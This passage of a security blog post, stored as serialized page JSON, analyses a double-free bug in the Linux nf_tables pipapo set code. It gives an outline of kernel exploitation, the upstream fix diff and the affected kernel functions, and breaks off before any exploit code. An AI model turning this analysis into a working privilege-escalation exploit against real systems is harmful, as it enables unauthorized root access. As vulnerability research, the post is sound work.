etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":25,"tag":127,"props":51655,"children":51658},{"alt":51656,"src":51657},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":25,"tag":34,"props":51660,"children":51661},{},[51662],{"type":31,"value":51663},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":25,"tag":40,"props":51665,"children":51667},{"id":51666},"kernel-exploitation",[51668],{"type":31,"value":51669},"Kernel exploitation",{"type":25,"tag":34,"props":51671,"children":51672},{},[51673],{"type":31,"value":51674},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":25,"tag":18183,"props":51676,"children":51677},{},[51678,51683,51688],{"type":25,"tag":6948,"props":51679,"children":51680},{},[51681],{"type":31,"value":51682},"Trigger some memory corruption in some kernel subsystem",{"type":25,"tag":6948,"props":51684,"children":51685},{},[51686],{"type":31,"value":51687},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":25,"tag":6948,"props":51689,"children":51690},{},[51691],{"type":31,"value":51692},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":25,"tag":34,"props":51694,"children":51695},{},[51696,51698,51705],{"type":31,"value":51697},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":25,"tag":71,"props":51699,"children":51702},{"href":51700,"rel":51701},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[75],[51703],{"type":31,"value":51704},"blog post",{"type":31,"value":51706}," to become more familiar with the topic.",{"type":25,"tag":26,"props":51708,"children":51710},{"id":51709},"nf_tables",[51711],{"type":25,"tag":115,"props":51712,"children":51714},{"className":51713},[],[51715],{"type":31,"value":51709},{"type":25,"tag":34,"props":51717,"children":51718},{},[51719,51724,51726,51732,51733,51739,51741,51747],{"type":25,"tag":115,"props":51720,"children":51722},{"className":51721},[],[51723],{"type":31,"value":51709},{"type":31,"value":51725}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":25,"tag":71,"props":51727,"children":51730},{"href":51728,"rel":51729},"https://pwning.tech/nftables",[75],[51731],{"type":31,"value":5516},{"type":31,"value":919},{"type":25,"tag":71,"props":51734,"children":51737},{"href":51735,"rel":51736},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[75],[51738],{"type":31,"value":4629},{"type":31,"value":51740},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":25,"tag":115,"props":51742,"children":51744},{"className":51743},[],[51745],{"type":31,"value":51746},"nf_table",{"type":31,"value":51748}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":25,"tag":34,"props":51750,"children":51751},{},[51752],{"type":31,"value":51753},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":25,"tag":40,"props":51755,"children":51757},{"id":51756},"transactions",[51758],{"type":31,"value":51759},"Transactions",{"type":25,"tag":34,"props":51761,"children":51762},{},[51763,51765,51770,51772,51777],{"type":31,"value":51764},"A transaction is an interaction that updates ",{"type":25,"tag":115,"props":51766,"children":51768},{"className":51767},[],[51769],{"type":31,"value":51709},{"type":31,"value":51771}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":25,"tag":115,"props":51773,"children":51775},{"className":51774},[],[51776],{"type":31,"value":51709},{"type":31,"value":51778}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":25,"tag":18183,"props":51780,"children":51781},{},[51782,51792,51802],{"type":25,"tag":6948,"props":51783,"children":51784},{},[51785,51790],{"type":25,"tag":1252,"props":51786,"children":51787},{},[51788],{"type":31,"value":51789},"Control plane",{"type":31,"value":51791},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":25,"tag":6948,"props":51793,"children":51794},{},[51795,51800],{"type":25,"tag":1252,"props":51796,"children":51797},{},[51798],{"type":31,"value":51799},"Commit path",{"type":31,"value":51801},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":25,"tag":6948,"props":51803,"children":51804},{},[51805,51810],{"type":25,"tag":1252,"props":51806,"children":51807},{},[51808],{"type":31,"value":51809},"Abort path",{"type":31,"value":51811},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":25,"tag":26,"props":51813,"children":51815},{"id":51814},"vulnerability-details",[51816],{"type":31,"value":51817},"Vulnerability details",{"type":25,"tag":34,"props":51819,"children":51820},{},[51821,51823,51829],{"type":31,"value":51822},"Moving on, let's check out the ",{"type":25,"tag":71,"props":51824,"children":51827},{"href":51825,"rel":51826},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[75],[51828],{"type":31,"value":5730},{"type":31,"value":51830}," that fixed the bug.",{"type":25,"tag":191,"props":51832,"children":51834},{"className":41431,"code":51833,"language":41433,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[51835],{"type":25,"tag":115,"props":51836,"children":51837},{"__ignoreMap":7},[51838,51846,51854,51862,51870,51878,51885,51893,51900,51908,51916,51924,51932,51940,51948,51956,51964,51972,51980,51988,51995,52003,52011,52019,52026,52033],{"type":25,"tag":201,"props":51839,"children":51840},{"class":203,"line":204},[51841],{"type":25,"tag":201,"props":51842,"children":51843},{"style":208},[51844],{"type":31,"value":51845},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":25,"tag":201,"props":51847,"children":51848},{"class":203,"line":226},[51849],{"type":25,"tag":201,"props":51850,"children":51851},{"style":220},[51852],{"type":31,"value":51853},"index c0ceea068936a6..df8de509024637 100644\n",{"type":25,"tag":201,"props":51855,"children":51856},{"class":203,"line":278},[51857],{"type":25,"tag":201,"props":51858,"children":51859},{"style":208},[51860],{"type":31,"value":51861},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":25,"tag":201,"props":51863,"children":51864},{"class":203,"line":311},[51865],{"type":25,"tag":201,"props":51866,"children":51867},{"style":208},[51868],{"type":31,"value":51869},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":25,"tag":201,"props":51871,"children":51872},{"class":203,"line":330},[51873],{"type":25,"tag":201,"props":51874,"children":51875},{"style":220},[51876],{"type":31,"value":51877},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":25,"tag":201,"props":51879,"children":51880},{"class":203,"line":397},[51881],{"type":25,"tag":201,"props":51882,"children":51883},{"emptyLinePlaceholder":17},[51884],{"type":31,"value":496},{"type":25,"tag":201,"props":51886,"children":51887},{"class":203,"line":437},[51888],{"type":25,"tag":201,"props":51889,"children":51890},{"style":220},[51891],{"type":31,"value":51892},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":25,"tag":201,"props":51894,"children":51895},{"class":203,"line":464},[51896],{"type":25,"tag":201,"props":51897,"children":51898},{"emptyLinePlaceholder":17},[51899],{"type":31,"value":496},{"type":25,"tag":201,"props":51901,"children":51902},{"class":203,"line":490},[51903],{"type":25,"tag":201,"props":51904,"children":51905},{"style":220},[51906],{"type":31,"value":51907},"  if (m) {\n",{"type":25,"tag":201,"props":51909,"children":51910},{"class":203,"line":499},[51911],{"type":25,"tag":201,"props":51912,"children":51913},{"style":220},[51914],{"type":31,"value":51915},"   rcu_barrier();\n",{"type":25,"tag":201,"props":51917,"children":51918},{"class":203,"line":522},[51919],{"type":25,"tag":201,"props":51920,"children":51921},{"style":220},[51922],{"type":31,"value":51923}," \n",{"type":25,"tag":201,"props":51925,"children":51926},{"class":203,"line":531},[51927],{"type":25,"tag":201,"props":51928,"children":51929},{"style":267},[51930],{"type":31,"value":51931},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":25,"tag":201,"props":51933,"children":51934},{"class":203,"line":550},[51935],{"type":25,"tag":201,"props":51936,"children":51937},{"style":267},[51938],{"type":31,"value":51939},"-\n",{"type":25,"tag":201,"props":51941,"children":51942},{"class":203,"line":563},[51943],{"type":25,"tag":201,"props":51944,"children":51945},{"style":220},[51946],{"type":31,"value":51947},"   for_each_possible_cpu(cpu)\n",{"type":25,"tag":201,"props":51949,"children":51950},{"class":203,"line":572},[51951],{"type":25,"tag":201,"props":51952,"children":51953},{"style":220},[51954],{"type":31,"value":51955},"    pipapo_free_scratch(m, cpu);\n",{"type":25,"tag":201,"props":51957,"children":51958},{"class":203,"line":590},[51959],{"type":25,"tag":201,"props":51960,"children":51961},{"style":220},[51962],{"type":31,"value":51963},"   free_percpu(m->scratch);\n",{"type":25,"tag":201,"props":51965,"children":51966},{"class":203,"line":608},[51967],{"type":25,"tag":201,"props":51968,"children":51969},{"style":220},[51970],{"type":31,"value":51971},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":25,"tag":201,"props":51973,"children":51974},{"class":203,"line":617},[51975],{"type":25,"tag":201,"props":51976,"children":51977},{"style":220},[51978],{"type":31,"value":51979},"  if (priv->clone) {\n",{"type":25,"tag":201,"props":51981,"children":51982},{"class":203,"line":625},[51983],{"type":25,"tag":201,"props":51984,"children":51985},{"style":220},[51986],{"type":31,"value":51987},"   m = priv->clone;\n",{"type":25,"tag":201,"props":51989,"children":51990},{"class":203,"line":642},[51991],{"type":25,"tag":201,"props":51992,"children":51993},{"style":220},[51994],{"type":31,"value":51923},{"type":25,"tag":201,"props":51996,"children":51997},{"class":203,"line":659},[51998],{"type":25,"tag":201,"props":51999,"children":52000},{"style":267},[52001],{"type":31,"value":52002},"-  if (priv->dirty)\n",{"type":25,"tag":201,"props":52004,"children":52005},{"class":203,"line":667},[52006],{"type":25,"tag":201,"props":52007,"children":52008},{"style":267},[52009],{"type":31,"value":52010},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":25,"tag":201,"props":52012,"children":52013},{"class":203,"line":676},[52014],{"type":25,"tag":201,"props":52015,"children":52016},{"style":426},[52017],{"type":31,"value":52018},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":25,"tag":201,"props":52020,"children":52021},{"class":203,"line":694},[52022],{"type":25,"tag":201,"props":52023,"children":52024},{"style":220},[52025],{"type":31,"value":51923},{"type":25,"tag":201,"props":52027,"children":52028},{"class":203,"line":707},[52029],{"type":25,"tag":201,"props":52030,"children":52031},{"style":220},[52032],{"type":31,"value":51947},{"type":25,"tag":201,"props":52034,"children":52035},{"class":203,"line":715},[52036],{"type":25,"tag":201,"props":52037,"children":52038},{"style":220},[52039],{"type":31,"value":52040},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":25,"tag":34,"props":52042,"children":52043},{},[52044,52046,52052,52053,52059,52061,52067,52069,52075,52077,52082,52084,52090,52092,52098,52100,52106],{"type":31,"value":52045},"If the ",{"type":25,"tag":115,"props":52047,"children":52049},{"className":52048},[],[52050],{"type":31,"value":52051},"priv->dirty",{"type":31,"value":12493},{"type":25,"tag":115,"props":52054,"children":52056},{"className":52055},[],[52057],{"type":31,"value":52058},"priv->clone",{"type":31,"value":52060}," variables are set, ",{"type":25,"tag":115,"props":52062,"children":52064},{"className":52063},[],[52065],{"type":31,"value":52066},"nft_set_pipapo_match_destroy()",{"type":31,"value":52068}," is called twice, once with ",{"type":25,"tag":115,"props":52070,"children":52072},{"className":52071},[],[52073],{"type":31,"value":52074},"priv->match",{"type":31,"value":52076}," as an argument, and then again with ",{"type":25,"tag":115,"props":52078,"children":52080},{"className":52079},[],[52081],{"type":31,"value":52058},{"type":31,"value":52083},". Looking at what this function does, we can see that it is iterating over the ",{"type":25,"tag":115,"props":52085,"children":52087},{"className":52086},[],[52088],{"type":31,"value":52089},"setelem",{"type":31,"value":52091},"s of the ",{"type":25,"tag":115,"props":52093,"children":52095},{"className":52094},[],[52096],{"type":31,"value":52097},"set",{"type":31,"value":52099}," and calling ",{"type":25,"tag":115,"props":52101,"children":52103},{"className":52102},[],[52104],{"type":31,"value":52105},"nf_tables_set_elem_destroy()",{"type":31,"value":52107}," for each of them.",{"type":25,"tag":191,"props":52109,"children":52111},{"className":18010,"code":52110,"language":4652,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[52112],{"type":25,"tag":115,"props":52113,"children":52114},{"__ignoreMap":7},[52115,52162,52190,52216,52223,52244,52257,52264,52361,52369,52376,52431,52452,52459,52562,52574,52581,52617,52624,52658,52665],{"type":25,"tag":201,"props":52116,"children":52117},{"class":203,"line":204},[52118,52123,52128,52133,52137,52141,52145,52150,52154,52158],{"type":25,"tag":201,"props":52119,"children":52120},{"style":208},[52121],{"type":31,"value":52122},"static",{"type":25,"tag":201,"props":52124,"children":52125},{"style":208},[52126],{"type":31,"value":52127}," void",{"type":25,"tag":201,"props":52129,"children":52130},{"style":214},[52131],{"type":31,"value":52132}," nft_set_pipapo_match_destroy",{"type":25,"tag":201,"props":52134,"children":52135},{"style":220},[52136],{"type":31,"value":298},{"type":25,"tag":201,"props":52138,"children":52139},{"style":208},[52140],{"type":31,"value":4074},{"type":25,"tag":201,"props":52142,"children":52143},{"style":208},[52144],{"type":31,"value":22646},{"type":25,"tag":201,"props":52146,"children":52147},{"style":220},[52148],{"type":31,"value":52149}," nft_ctx ",{"type":25,"tag":201,"props":52151,"children":52152},{"style":261},[52153],{"type":31,"value":6077},{"type":25,"tag":201,"props":52155,"children":52156},{"style":246},[52157],{"type":31,"value":21777},{"type":25,"tag":201,"props":52159,"children":52160},{"style":220},[52161],{"type":31,"value":547},{"type":25,"tag":201,"props":52163,"children":52164},{"class":203,"line":226},[52165,52169,52173,52178,52182,52186],{"type":25,"tag":201,"props":52166,"children":52167},{"style":208},[52168],{"type":31,"value":403},{"type":25,"tag":201,"props":52170,"children":52171},{"style":208},[52172],{"type":31,"value":22646},{"type":25,"tag":201,"props":52174,"children":52175},{"style":220},[52176],{"type":31,"value":52177}," nft_set ",{"type":25,"tag":201,"props":52179,"children":52180},{"style":261},[52181],{"type":31,"value":6077},{"type":25,"tag":201,"props":52183,"children":52184},{"style":246},[52185],{"type":31,"value":52097},{"type":25,"tag":201,"props":52187,"children":52188},{"style":220},[52189],{"type":31,"value":547},{"type":25,"tag":201,"props":52191,"children":52192},{"class":203,"line":278},[52193,52198,52203,52207,52212],{"type":25,"tag":201,"props":52194,"children":52195},{"style":208},[52196],{"type":31,"value":52197},"      struct",{"type":25,"tag":201,"props":52199,"children":52200},{"style":220},[52201],{"type":31,"value":52202}," nft_pipapo_match ",{"type":25,"tag":201,"props":52204,"children":52205},{"style":261},[52206],{"type":31,"value":6077},{"type":25,"tag":201,"props":52208,"children":52209},{"style":246},[52210],{"type":31,"value":52211},"m",{"type":25,"tag":201,"props":52213,"children":52214},{"style":220},[52215],{"type":31,"value":4666},{"type":25,"tag":201,"props":52217,"children":52218},{"class":203,"line":311},[52219],{"type":25,"tag":201,"props":52220,"children":52221},{"style":220},[52222],{"type":31,"value":1822},{"type":25,"tag":201,"props":52224,"children":52225},{"class":203,"line":330},[52226,52230,52235,52239],{"type":25,"tag":201,"props":52227,"children":52228},{"style":208},[52229],{"type":31,"value":22646},{"type":25,"tag":201,"props":52231,"children":52232},{"style":220},[52233],{"type":31,"value":52234}," nft_pipapo_field ",{"type":25,"tag":201,"props":52236,"children":52237},{"style":261},[52238],{"type":31,"value":6077},{"type":25,"tag":201,"props":52240,"children":52241},{"style":220},[52242],{"type":31,"value":52243},"f;\n",{"type":25,"tag":201,"props":52245,"children":52246},{"class":203,"line":397},[52247,52252],{"type":25,"tag":201,"props":52248,"children":52249},{"style":208},[52250],{"type":31,"value":52251}," int",{"type":25,"tag":201,"props":52253,"children":52254},{"style":220},[52255],{"type":31,"value":52256}," i, r;\n",{"type":25,"tag":201,"props":52258,"children":52259},{"class":203,"line":437},[52260],{"type":25,"tag":201,"props":52261,"children":52262},{"emptyLinePlaceholder":17},[52263],{"type":31,"value":496},{"type":25,"tag":201,"props":52265,"children":52266},{"class":203,"line":464},[52267,52272,52277,52281,52285,52290,52294,52299,52303,52307,52312,52316,52320,52324,52329,52334,52338,52343,52348,52353,52357],{"type":25,"tag":201,"props":52268,"children":52269},{"style":230},[52270],{"type":31,"value":52271}," for",{"type":25,"tag":201,"props":52273,"children":52274},{"style":220},[52275],{"type":31,"value":52276}," (i ",{"type":25,"tag":201,"props":52278,"children":52279},{"style":261},[52280],{"type":31,"value":1383},{"type":25,"tag":201,"props":52282,"children":52283},{"style":426},[52284],{"type":31,"value":4554},{"type":25,"tag":201,"props":52286,"children":52287},{"style":220},[52288],{"type":31,"value":52289},", f ",{"type":25,"tag":201,"props":52291,"children":52292},{"style":261},[52293],{"type":31,"value":1383},{"type":25,"tag":201,"props":52295,"children":52296},{"style":246},[52297],{"type":31,"value":52298}," m",{"type":25,"tag":201,"props":52300,"children":52301},{"style":220},[52302],{"type":31,"value":15259},{"type":25,"tag":201,"props":52304,"children":52305},{"style":246},[52306],{"type":31,"value":2020},{"type":25,"tag":201,"props":52308,"children":52309},{"style":220},[52310],{"type":31,"value":52311},"; i ",{"type":25,"tag":201,"props":52313,"children":52314},{"style":261},[52315],{"type":31,"value":1298},{"type":25,"tag":201,"props":52317,"children":52318},{"style":246},[52319],{"type":31,"value":52298},{"type":25,"tag":201,"props":52321,"children":52322},{"style":220},[52323],{"type":31,"value":15259},{"type":25,"tag":201,"props":52325,"children":52326},{"style":246},[52327],{"type":31,"value":52328},"field_count",{"type":25,"tag":201,"props":52330,"children":52331},{"style":261},[52332],{"type":31,"value":52333}," -",{"type":25,"tag":201,"props":52335,"children":52336},{"style":426},[52337],{"type":31,"value":6029},{"type":25,"tag":201,"props":52339,"children":52340},{"style":220},[52341],{"type":31,"value":52342},"; i",{"type":25,"tag":201,"props":52344,"children":52345},{"style":261},[52346],{"type":31,"value":52347},"++",{"type":25,"tag":201,"props":52349,"children":52350},{"style":220},[52351],{"type":31,"value":52352},", f",{"type":25,"tag":201,"props":52354,"children":52355},{"style":261},[52356],{"type":31,"value":52347},{"type":25,"tag":201,"props":52358,"children":52359},{"style":220},[52360],{"type":31,"value":4666},{"type":25,"tag":201,"props":52362,"children":52363},{"class":203,"line":490},[52364],{"type":25,"tag":201,"props":52365,"children":52366},{"style":220},[52367],{"type":31,"value":52368},"  ;\n",{"type":25,"tag":201,"props":52370,"children":52371},{"class":203,"line":499},[52372],{"type":25,"tag":201,"props":52373,"children":52374},{"emptyLinePlaceholder":17},[52375],{"type":31,"value":496},{"type":25,"tag":201,"props":52377,"children":52378},{"class":203,"line":522},[52379,52383,52388,52392,52396,52401,52405,52409,52413,52418,52423,52427],{"type":25,"tag":201,"props":52380,"children":52381},{"style":230},[52382],{"type":31,"value":52271},{"type":25,"tag":201,"props":52384,"children":52385},{"style":220},[52386],{"type":31,"value":52387}," (r ",{"type":25,"tag":201,"props":52389,"children":52390},{"style":261},[52391],{"type":31,"value":1383},{"type":25,"tag":201,"props":52393,"children":52394},{"style":426},[52395],{"type":31,"value":4554},{"type":25,"tag":201,"props":52397,"children":52398},{"style":220},[52399],{"type":31,"value":52400},"; r ",{"type":25,"tag":201,"props":52402,"children":52403},{"style":261},[52404],{"type":31,"value":1298},{"type":25,"tag":201,"props":52406,"children":52407},{"style":246},[52408],{"type":31,"value":1902},{"type":25,"tag":201,"props":52410,"children":52411},{"style":220},[52412],{"type":31,"value":15259},{"type":25,"tag":201,"props":52414,"children":52415},{"style":246},[52416],{"type":31,"value":52417},"rules",{"type":25,"tag":201,"props":52419,"children":52420},{"style":220},[52421],{"type":31,"value":52422},"; r",{"type":25,"tag":201,"props":52424,"children":52425},{"style":261},[52426],{"type":31,"value":52347},{"type":25,"tag":201,"props":52428,"children":52429},{"style":220},[52430],{"type":31,"value":275},{"type":25,"tag":201,"props":52432,"children":52433},{"class":203,"line":531},[52434,52438,52443,52447],{"type":25,"tag":201,"props":52435,"children":52436},{"style":208},[52437],{"type":31,"value":7306},{"type":25,"tag":201,"props":52439,"children":52440},{"style":220},[52441],{"type":31,"value":52442}," nft_pipapo_elem ",{"type":25,"tag":201,"props":52444,"children":52445},{"style":261},[52446],{"type":31,"value":6077},{"type":25,"tag":201,"props":52448,"children":52449},{"style":220},[52450],{"type":31,"value":52451},"e;\n",{"type":25,"tag":201,"props":52453,"children":52454},{"class":203,"line":550},[52455],{"type":25,"tag":201,"props":52456,"children":52457},{"emptyLinePlaceholder":17},[52458],{"type":31,"value":496},{"type":25,"tag":201,"props":52460,"children":52461},{"class":203,"line":563},[52462,52466,52470,52474,52478,52482,52486,52490,52494,52498,52502,52506,52511,52516,52520,52524,52528,52533,52537,52541,52545,52549,52554,52558],{"type":25,"tag":201,"props":52463,"children":52464},{"style":230},[52465],{"type":31,"value":233},{"type":25,"tag":201,"props":52467,"children":52468},{"style":220},[52469],{"type":31,"value":52387},{"type":25,"tag":201,"props":52471,"children":52472},{"style":261},[52473],{"type":31,"value":1298},{"type":25,"tag":201,"props":52475,"children":52476},{"style":246},[52477],{"type":31,"value":1902},{"type":25,"tag":201,"props":52479,"children":52480},{"style":220},[52481],{"type":31,"value":15259},{"type":25,"tag":201,"props":52483,"children":52484},{"style":246},[52485],{"type":31,"value":52417},{"type":25,"tag":201,"props":52487,"children":52488},{"style":261},[52489],{"type":31,"value":52333},{"type":25,"tag":201,"props":52491,"children":52492},{"style":426},[52493],{"type":31,"value":6029},{"type":25,"tag":201,"props":52495,"children":52496},{"style":261},[52497],{"type":31,"value":15687},{"type":25,"tag":201,"props":52499,"children":52500},{"style":246},[52501],{"type":31,"value":1902},{"type":25,"tag":201,"props":52503,"children":52504},{"style":220},[52505],{"type":31,"value":15259},{"type":25,"tag":201,"props":52507,"children":52508},{"style":246},[52509],{"type":31,"value":52510},"mt",{"type":25,"tag":201,"props":52512,"children":52513},{"style":220},[52514],{"type":31,"value":52515},"[r ",{"type":25,"tag":201,"props":52517,"children":52518},{"style":261},[52519],{"type":31,"value":5886},{"type":25,"tag":201,"props":52521,"children":52522},{"style":426},[52523],{"type":31,"value":6029},{"type":25,"tag":201,"props":52525,"children":52526},{"style":220},[52527],{"type":31,"value":51426},{"type":25,"tag":201,"props":52529,"children":52530},{"style":246},[52531],{"type":31,"value":52532},"e",{"type":25,"tag":201,"props":52534,"children":52535},{"style":261},[52536],{"type":31,"value":4789},{"type":25,"tag":201,"props":52538,"children":52539},{"style":246},[52540],{"type":31,"value":1902},{"type":25,"tag":201,"props":52542,"children":52543},{"style":220},[52544],{"type":31,"value":15259},{"type":25,"tag":201,"props":52546,"children":52547},{"style":246},[52548],{"type":31,"value":52510},{"type":25,"tag":201,"props":52550,"children":52551},{"style":220},[52552],{"type":31,"value":52553},"[r].",{"type":25,"tag":201,"props":52555,"children":52556},{"style":246},[52557],{"type":31,"value":52532},{"type":25,"tag":201,"props":52559,"children":52560},{"style":220},[52561],{"type":31,"value":4666},{"type":25,"tag":201,"props":52563,"children":52564},{"class":203,"line":572},[52565,52570],{"type":25,"tag":201,"props":52566,"children":52567},{"style":230},[52568],{"type":31,"value":52569},"   continue",{"type":25,"tag":201,"props":52571,"children":52572},{"style":220},[52573],{"type":31,"value":461},{"type":25,"tag":201,"props":52575,"children":52576},{"class":203,"line":590},[52577],{"type":25,"tag":201,"props":52578,"children":52579},{"emptyLinePlaceholder":17},[52580],{"type":31,"value":496},{"type":25,"tag":201,"props":52582,"children":52583},{"class":203,"line":608},[52584,52589,52593,52597,52601,52605,52609,52613],{"type":25,"tag":201,"props":52585,"children":52586},{"style":220},[52587],{"type":31,"value":52588},"  e ",{"type":25,"tag":201,"props":52590,"children":52591},{"style":261},[52592],{"type":31,"value":1383},{"type":25,"tag":201,"props":52594,"children":52595},{"style":246},[52596],{"type":31,"value":1902},{"type":25,"tag":201,"props":52598,"children":52599},{"style":220},[52600],{"type":31,"value":15259},{"type":25,"tag":201,"props":52602,"children":52603},{"style":246},[52604],{"type":31,"value":52510},{"type":25,"tag":201,"props":52606,"children":52607},{"style":220},[52608],{"type":31,"value":52553},{"type":25,"tag":201,"props":52610,"children":52611},{"style":246},[52612],{"type":31,"value":52532},{"type":25,"tag":201,"props":52614,"children":52615},{"style":220},[52616],{"type":31,"value":461},{"type":25,"tag":201,"props":52618,"children":52619},{"class":203,"line":617},[52620],{"type":25,"tag":201,"props":52621,"children":52622},{"emptyLinePlaceholder":17},[52623],{"type":31,"value":496},{"type":25,"tag":201,"props":52625,"children":52626},{"class":203,"line":625},[52627,52632,52637,52641,52645,52649,52654],{"type":25,"tag":201,"props":52628,"children":52629},{"style":214},[52630],{"type":31,"value":52631},"  nf_tables_set_elem_destroy",{"type":25,"tag":201,"props":52633,"children":52634},{"style":220},[52635],{"type":31,"value":52636},"(ctx, set, ",{"type":25,"tag":201,"props":52638,"children":52639},{"style":261},[52640],{"type":31,"value":4615},{"type":25,"tag":201,"props":52642,"children":52643},{"style":246},[52644],{"type":31,"value":52532},{"type":25,"tag":201,"props":52646,"children":52647},{"style":220},[52648],{"type":31,"value":15259},{"type":25,"tag":201,"props":52650,"children":52651},{"style":246},[52652],{"type":31,"value":52653},"priv",{"type":25,"tag":201,"props":52655,"children":52656},{"style":220},[52657],{"type":31,"value":308},{"type":25,"tag":201,"props":52659,"children":52660},{"class":203,"line":642},[52661],{"type":25,"tag":201,"props":52662,"children":52663},{"style":220},[52664],{"type":31,"value":11100},{"type":25,"tag":201,"props":52666,"children":52667},{"class":203,"line":659},[52668],{"type":25,"tag":201,"props":52669,"children":52670},{"style":220},[52671],{"type":31,"value":1187},{"type":25,"tag":34,"props":52673,"children":52674},{},[52675,52677,52683,52685,52690],{"type":31,"value":52676},"Which will then ",{"type":25,"tag":115,"props":52678,"children":52680},{"className":52679},[],[52681],{"type":31,"value":52682},"kfree()",{"type":31,"value":52684}," the ",{"type":25,"tag":115,"props":52686,"children":52688},{"className":52687},[],[52689],{"type":31,"value":52089},{"type":31,"value":80},{"type":25,"tag":191,"props":52692,"children":52694},{"className":18010,"code":52693,"language":4652,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[52695],{"type":25,"tag":115,"props":52696,"children":52697},{"__ignoreMap":7},[52698,52739,52767,52796,52803,52838,52845,52866,52889,52896,52909],{"type":25,"tag":201,"props":52699,"children":52700},{"class":203,"line":204},[52701,52706,52711,52715,52719,52723,52727,52731,52735],{"type":25,"tag":201,"props":52702,"children":52703},{"style":208},[52704],{"type":31,"value":52705},"void",{"type":25,"tag":201,"props":52707,"children":52708},{"style":214},[52709],{"type":31,"value":52710}," nf_tables_set_elem_destroy",{"type":25,"tag":201,"props":52712,"children":52713},{"style":220},[52714],{"type":31,"value":298},{"type":25,"tag":201,"props":52716,"children":52717},{"style":208},[52718],{"type":31,"value":4074},{"type":25,"tag":201,"props":52720,"children":52721},{"style":208},[52722],{"type":31,"value":22646},{"type":25,"tag":201,"props":52724,"children":52725},{"style":220},[52726],{"type":31,"value":52149},{"type":25,"tag":201,"props":52728,"children":52729},{"style":261},[52730],{"type":31,"value":6077},{"type":25,"tag":201,"props":52732,"children":52733},{"style":246},[52734],{"type":31,"value":21777},{"type":25,"tag":201,"props":52736,"children":52737},{"style":220},[52738],{"type":31,"value":547},{"type":25,"tag":201,"props":52740,"children":52741},{"class":203,"line":226},[52742,52747,52751,52755,52759,52763],{"type":25,"tag":201,"props":52743,"children":52744},{"style":208},[52745],{"type":31,"value":52746},"    